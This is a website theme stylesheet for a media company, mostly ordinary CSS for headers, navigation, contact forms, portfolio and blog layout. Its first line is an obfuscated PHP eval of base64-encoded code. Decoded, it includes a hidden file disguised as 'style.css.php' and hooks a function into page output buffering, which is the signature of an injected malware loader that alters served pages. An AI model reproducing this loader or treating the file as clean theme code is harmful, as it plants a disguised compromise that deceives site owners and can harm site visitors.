<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2RhcnJlbi9wdWJsaWNfaHRtbC9wcmVzZW50YXRpb24vTG9zdF9IaWdod2F5L2Rlc2lnbmVycy9iYWxzZXJTYXZlL3dvcmtpbmcvRm9udHMvRm9udGRpbmVyZG90Y29tIExvdW5neS9Mb3VuZ3lfL1RydWUgVHlwZS9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
/********************************************************
Theme Name: Clickfire Media
Theme URI: http://www.clickfire.com/
Description: Default design for the Clickfire Media website.
Version: 1.0
Author: Matte Chi
Tags: 
*********************************************************/

html {
	height: 100%;
	overflow-y: scroll;
}

/* Hack for Opera, because the overflow-y: scroll trick doesn't work. */
html:first-child {
	height: 100.1%;
}

body {
	font: 12px Arial, Helvetica, sans-serif;
	color: #000;
	margin: 0;
	height: 100%;
	background: #000000 url(/themes/site_themes/default/C3xEnt_back_final.jpg) no-repeat;

}


/*********************************************************
Fixes for default HTML annoyances.
*********************************************************/

img {
	border: 0;
}

p, form, table, ul, ol {
	margin-top: 0;
}

form {
	padding: 0;
}

fieldset {
	border: 0;
	padding: 0;
}

table {
	border: 0;
	border-collapse: collapse;
}

table td {
	vertical-align: top;
	padding: 0;
}


/*********************************************************
Page colors.
*********************************************************/

.blue_text {
	color: #00adee;
}


/********************
Decoration
********************/

.thedotz{
background:url(/themes/site_themes/default/cfm09_thedotz.gif) repeat-x;
height:2px;
}


/*********************************************************
Hyperlink styles.
*********************************************************/

a {
	text-decoration: none;
	color: #666666;
}

a.small_blue_link {
	font: 10px Verdana, sans-serif;
	text-transform: uppercase;
	color: #00adee;
}

a.small_blue_link_text {
	font: 9px helvetica, arial,Verdana, sans-serif;
	text-transform: uppercase;
	color: #00adee;
}
		

/*********************************************************
Page container styles.
*********************************************************/

#page_container {
	margin: 0 auto;
}


/*********************************************************
Header styles.
*********************************************************/


#header_inner {
	position: relative;
	width: 942px;
	height: 121px;
        margin: 0 auto;
	background:#ffffff;
	top:12px;
        margin-bottom:-5px;
}

.headerlogo{
	float:left; 
	width:200px;
	height:60px;
	margin:18px 0 0 18px;
	font-family:Times;
	font-size:12px;
	font-style:italic;
	color:#666666;
}
	
	#nav_box  {
		color: #808080;
		font: 16px Times, serif;
		width: 550px;
		float:right;
		margin:24px 8px 0 0;
		padding:0;
	}
	
	#side_box  {
		color: #808080;
		font: 15px Times, serif;
		width: 277px;
		text-align: left;
		float:right;
		margin:0px 0 0 0;
		padding:0;
	}

	#side_box  div.sideitems{
		background:#ffffff;
		margin:0 0 15px 0;
	}	
	#side_box  div.sideitems h1{
		padding:15px 14px 0px;
		border:none;
	}
	#side_box  div.sideitems p{
		padding:0 14px 14px 14px;
		font-size:11px;
		color:#999999;
		font-family:arial, verdana;
	}		
	
	
	#side_box  div.sideitems b.grey{
		font-size:15px;
		color:#666666;
		font-weight:normal;
		font-family:Times;
	}	
	
	
	b.red{
		font-size:15px;
		color:#ec1c24;
		font-weight:normal;
		font-family:Times;
	}	
	
	
	#side_box  div.sideitems a{
		color:#999999;
	}	
	
				
	ul#main_nav { 
		font-family: Times, arial, Verdana, sans-serif; 
		list-style-type: none; 
		margin: 0 0 0 10px; 
		padding: 20px 6px 0 0; 
		float:right;
		}
	
		
		ul#main_nav li {
		font-size:15px;
		display: block; 
		float: left; 
		margin: 0; 
		padding:0 0 0 5px;
		text-align:left;
		color:#000000;
		}	
			

		#main_nav li a {
			color: #333333;
		}
		
		#main_nav li a:hover {
			color: #ec1c24;
		}
	
		#main_nav li a.selected {
			color: #ec1c24;
		}


	.contact_info_bar {
		height: 12px;
		color: #666666;
		font: 12px Times, sans-serif;
		padding:0;
	}
	
		.contact_info_bar ul {
			display: inline;
			list-style-type: none;
			margin-right:10px;
			float:right;
		}
		
		.contact_info_bar ul li {
			display: inline;
		}
		
		.contact_info_bar a {
			color: #999999;
		}

.contact_info_bar a:hover {
			color: #ff0000;
		}


/*********************************************************
Nav box styles.
*********************************************************/
	
	#secondary_nav {
		text-align: right;
		text-transform: uppercase;
		list-style-type: none;
		font: 10px Verdana, sans-serif;
	}
	
		#secondary_nav li {
			margin-bottom: 12px;
			color: #fff;
		}
	
		#secondary_nav a {
			color: #ff0000;
		}

	#nav_box_footer {
		position: absolute;
		top: 100%;
		border-right: 5px solid #fff;
	}
	

/*********************************************************
Main body styles.
*********************************************************/

#main_body_outer {
	height: 100%;
	margin-top:0px;
}

#main_body_inner {
	position: relative;
	padding: 30px 0px 36px 0px;
	width: 942px;
	margin: 0 auto;
}

	h1 {
		font: 24px Times, serif;
		padding: 0;
		margin: 0;
		color:#000000;
		background-color: #fff;
		border: 5px solid #fff;
		border-bottom:0;
		border-left:0;
		font-weight:normal;
                margin-bottom: 5px;
	}
	
	h2 {
		font: 28px Times, serif;
		margin: 30px 0 10px 0;
		padding-top: 0;
		color: #00adee;
	}
	
		h2 a.team_email_subhead {
			font-size: 16px;
			color: #00adee;
		}
		
	h3 {
		font: 16px Times, serif;
		margin: 45px 0 16px 0;
		color: #00adee;
	}

	#content, .content {
		background-color: #fff;
		font: 16px Times, serif;
		color: #808080;
		line-height: 22px;
		margin-bottom: 30px;
		width:646px;
	}
	
	.contentGuts{
		padding:0 18px 0 18px;
	}
	
	.contentGuts p{
		padding:0 0 0 0;
		margin:0;
		line-heigt:16px
	}	
		#content.blog {
			background: #fff;
		        width: 614px;
	padding:0 16px 0 16px;
			padding-bottom: 50px;
		}
	
		.section_nav_menu{
			margin: 5px 0 30px 0;
			padding: 0;
			list-style-type: none;
			text-align: right;
		}
		
			.section_nav_menu li{
				display: inline;
				padding: 0;
				font: 10px Verdana, sans-serif;
				text-transform: uppercase;
				margin-left: 15px;
				width:150px;
			}
			
			li.section_nav_menu_contact {
				width:185px;
			}
			
			.section_nav_menu li a {
				color: #00adee;
			}
		
		#team_sample_thumbs {
			margin-top: -10px;
			
		}
		
			#team_sample_thumbs img {
				margin-right: 4px;
			}

.leftColumn {
float:left;
position:relative;
vertical-align:top;
padding:0px;
padding-right:100px;
background:#ffffff;
}

.rightColumn {
float:left;
position:relative;
vertical-align:top;
padding:0px 0 20px;
background:#ffffff;
}
				
	
/********************************************************
Generic Template
*********************************************************/
#generic_block {
	width: 100%	;
	background:#ffffff;
}
		
	#generic_block h2 {
		margin-top: 0;
	}
	
		
/*********************************************************
Contact page styles.
*********************************************************/

#contact_table td{
	width:50%;
}

#contact_form, #popup_form {
position:relative;
float:right;
	width: 400px;
margin-top:-13px;
}

	#contact_form h2 {
		margin-top: 0;
	}

	#contact_form label, #popup_form label {
		display: block;
			color:#808080;
font-family:Times,serif;
font-size:16px;
	}
			
	#contact_form .text_field {
		display: block;
		margin-bottom: 20px;
		background-color: #e6e6e6;
		border: 1px solid #f3f3f3;
		width: 220px;
		height: 15px;
		font: 11px Arial, Helvetica, sans-serif;
		padding: 2px;
		color:#666666;
	}
			
	#contact_form textarea, .contactfield textarea {
		display: block;
		background-color: #e6e6e6;
		border: 1px solid #f3f3f3;
		width: 390px;
		height: 136px;
		font: 11px arial;
		padding: 2px;
				color:#666666;
	}

	#contact_form textarea:hover, .contactfield textarea:hover  {
		border: 1px solid #000000;
	}
			
	#contact_form #send, #popup_form input#submitbutton {
		position:absolute;
		float: right;
		background-color: #b2b2b2;
		color: #ffffff;
		font: 11px Times, serif;
		top: 375px;
left:295px;
		cursor: pointer;
		width:100px;
		height:24px;
		 font-style: italic; 
		 border:0;
		 
		 border:1px #ffffff solid;
		
	}

	#contact_form #phone, #contact_form #first_name, #contact_form #last_name, #contact_form #email,  .contactfield input {
		float: left;
		background-color: #e6e6e6;
		color: #666666;
		border: 1px solid #ffffff;
		font: 11px Arial, san-serif;
		margin-top: 5px;
		cursor: pointer;
		width: 311px;
		height:24px;
	}
	
	#contact_form #phone:hover, #contact_form #first_name:hover, #contact_form #last_name:hover,#contact_form #email:hover, .contactfield input:hover {
		border: 1px solid #000000;
	}
	
	div.contactfield {
		border-bottom:10px #ffffff solid;
	}
			
#contact_address_block {
	position:relative;
	width: 196px;
float:left;
color:#666666;
font-size:11px;
font-family:arial, verdana;
line-height:14px;
}
		
	#contact_address_block h2 {
		margin-top: 0;
	}
	
#contact_block {
	clear:both;
	position:relative;
	width: 621px;
	
}
#client_block {
	color:#999999;
	font-family:Times;
	font-size:15px;
	position:relative;
	width: 614px;
	border-right:16px #ffffff solid;
	border-left:16px #ffffff solid;
	background:#ffffff;
}

#client_block img{
	border:1px dotted #cccccc;
}

#client_block a {
	color: #ec1c24;
}

#client_block a img {
	border:1px dotted #12B2EF;
}
	
		
	#contact_block h2 {
		margin-top: 0;
	}


.validation-advice {
color: red;
background: #fff no-repeat left center;
padding-left: 22px;
font:12px Times;
} 	
	
/*********************************************************
Recent Projects styles.
*********************************************************/

#recent_projects {
	clear: both;
	position: relative;
	width: 614px;
	border-left: 16px solid #fff;
	border-right: 16px solid #fff;
	background:#ffffff;
}
	
		
	#recent_projects_box {
		width: 614px;
		position: relative;
	}
	
	
	td.recentproject_left{
		width:296px;
		height:270px;
		padding-right:22px;
	}	
	
	td.recentproject_right{
		width:279px;
		height:270px;
	}	
		.recent_project_headline {
			color: #ec1c24;
			font: 15px Times, serif;
			padding: 20px 0 0px 0px;
		}
			
		.recent_project_blurb {
			color: #666666;
			font-size: 11px;
			padding: 0;
			line-height: 15px;
			height: 44px;
			width:296px;
		}
			
			.recent_project_blurb strong {
				color: #000;
			}
				
			
/*********************************************************
Ideas & Insights styles.
*********************************************************/

#ideas_and_insights {
	clear: both;
	position: relative;
	margin: -99px 0 50px 0;
	padding-top: 120px;
}
	
	#ideas_and_insights_box {
		width: 982px;
		position: relative;
		left: -324px;
		background-color: #fff;
		border-right: 5px solid #fff;
	}
		
		
	td.ideaTitles p {
		 line-height:100%; 
		 padding:0 0 10px 0; 
		 margin:0;
	}


/*********************************************************
Featured box styles.
*********************************************************/

.featured_box, .studio_box, .cfm_team_div {

	position: relative;
	width: 614px;
	padding:0 16px 0 16px;
}

.cfm_team_div {
background-color:#ffffff;
	position: relative;
	width: 614px;
}

.studio_box {
background-color:#ffffff;
	position: relative;
	width: 614px;
}


.studio_box p, p.studiobios {
font-family:arial, verdana;
font-size:11px;
color:#666666;
line-height:16px;
}

	#studiocontent {
		font: 16px Times, serif;
		color: #808080;
		line-height: 22px;
		margin-bottom: 50px;
		width:646px;
	}
	
	.featured_headline {
		color: #ec1c24;
		background-color: #ffffff;
		font-size: 18px;
		padding: 12px 0 0px 0px;
		width: 359px;
		float: left;
		/*margin-top: -7px;*/
		margin-bottom:-10px;
		height:22px;
	}
	

	.featured_website, .featured_launch_link, .featured_download_link, .recent_project_launch_link  {
		background-color: #b2b2b2;
		font: 11px Times;
		font-style: italic; 
		padding: 8px 16px 8px 16px;
		float: right;
		margin-right:6px;
		margin-top: -10px;
		height:10px;
		border:1px #ffffff solid;
		
	}

	.featured_website:hover, .featured_launch_link:hover, .featured_download_link:hover, .recent_project_launch_link:hover  {
		background-color: #9e9e9e;		
	}


		.featured_download_link a, .featured_launch_link a, .featured_website a, .recent_project_launch_link a {
			color: #ffffff;
			font-style: italic; 
		}

		.featured_download_link a:hover, .featured_launch_link a:hover, .featured_website a:hover, .recent_project_launch_link a:hover {
			color: #EC1C24;
		}
		
		
	.featured_box_content {

		width: 646px;
		clear: both;
		position: relative;
		border-bottom: 5px solid #fff;
		background-color: #ffffff;
		color:#000000;
		font-size:11px;
	}
			
	.featured_box_table {
padding:0;
margin:0;
		color: #808080;
		width: 500px;
		height:166px;
	}
	
		.featured_summary {
			font: 16px Times, serif;
			line-height: 22px;
			padding: 28px 38px;
		}
		
		.featured_details {
			font: 11px Arial, Helvetica, sans-serif;
			padding: 0;
		}
		
			.featured_details strong {
				color: #000;
			}
			
			.featured_details_inner {
			font: 11px Arial, Helvetica, sans-serif;
			padding: 7px 0 20px 0;
			width:485px;
			color:#666666;
			line-height:13.5px;	
			}

			.featured_details_inner a, .studio_box a {
			color:#808080;		
			text-decoration:underline;		
			}

			.clientagency_title{
				font-size:10px;
			color:#999999;
			}
		
			.clientagency_content{
				font-size:10px;
			color:#666666;
			}
		
		.featured_staff {
			font: 11px Arial, Helvetica, sans-serif;
			width: 170px;
			padding: 18px 0 18px 0;
		}
		
			.featured_staff strong {
				color: #000;
			}
			
			.featured_staff_inner {
				padding: 10px 0 10px 38px;
			}
			
			.featured_staff:first-child .featured_staff_inner {
				background: #fff;
			}
			
		.featured_close_row {
			background-color: #000;
			font: 10px Verdana, sans-serif;
			text-transform: uppercase;
		}
		
			.featured_close_row td {
				padding: 5px 0 5px 38px;
			}
		
			.featured_close_row a {
				color: #d6de23;
			}
			
			.featured_close_button {
				position: relative;
				top: 2px;
			}
	
			
/*********************************************************
Blog styles.
*********************************************************/

.post {
	position: relative;
	z-index: 5;
	padding:0px 101px 35px 11px;
	color:#666666;
	font: 11px Arial, Helvetica, sans-serif;
	width:524px;
	margin-left:-11px;
}


.post div.innerPost{
margin-top:-3px;
}

.post div.innerPost p{
width:500px;
}

	.byline {
		font: 10px Times, sans-serif;
		color: #999999;
	}


#side_box div.sideitems a:hover, .post a {
color:#ec1c24;
}

/*********************************************************
Porfolio styles.
*********************************************************/
	#more_projects_box {
		width: 730px;
		position: relative;
		margin-top:150px;
		left: -150px;
		border-right: 5px solid #fff;
		background: url(../images/dotted_border_horizontal.gif) left bottom repeat-x #fff;
	}

	#more_projects {
	position: relative;
	top: -55px;
	margin: 0px 0 0 -70px;
	padding:0px;
	padding-top: 117px;
	width: 730px;
}

			
		.more_project_blurb {
			color: #808080;
			font-size: 11px;
			margin-top: 28px;
			padding: 0 38px 0 38px;
			line-height: 15px;
			height: 52px;
		}
			
			.more_project_blurb strong {
				color: #000;
			}
				
			#recent_projects_box td:first-child .recent_project_blurb {
				background: #fff;
			}
			
		.nore_project_launch_link {
			padding: 4px 38px 5px 38px;
			margin: 0 0 28px 0;
		}
				
			.more_project_launch_link a {
				color: #00adee;
				font: 10px Verdana, sans-serif;
				text-transform: uppercase;
			}


/*********************************************************
Footer styles.
*********************************************************/

#footer_outer {
	clear: both;
	position: relative;
	border-top: 25px solid #000;
}

#footer_inner {
	position: relative;
	margin: 50px auto 0 auto;
	width: 977px;
}

	#footer_inner .contact_info_bar {
		position: absolute;
		bottom: -25px;
	}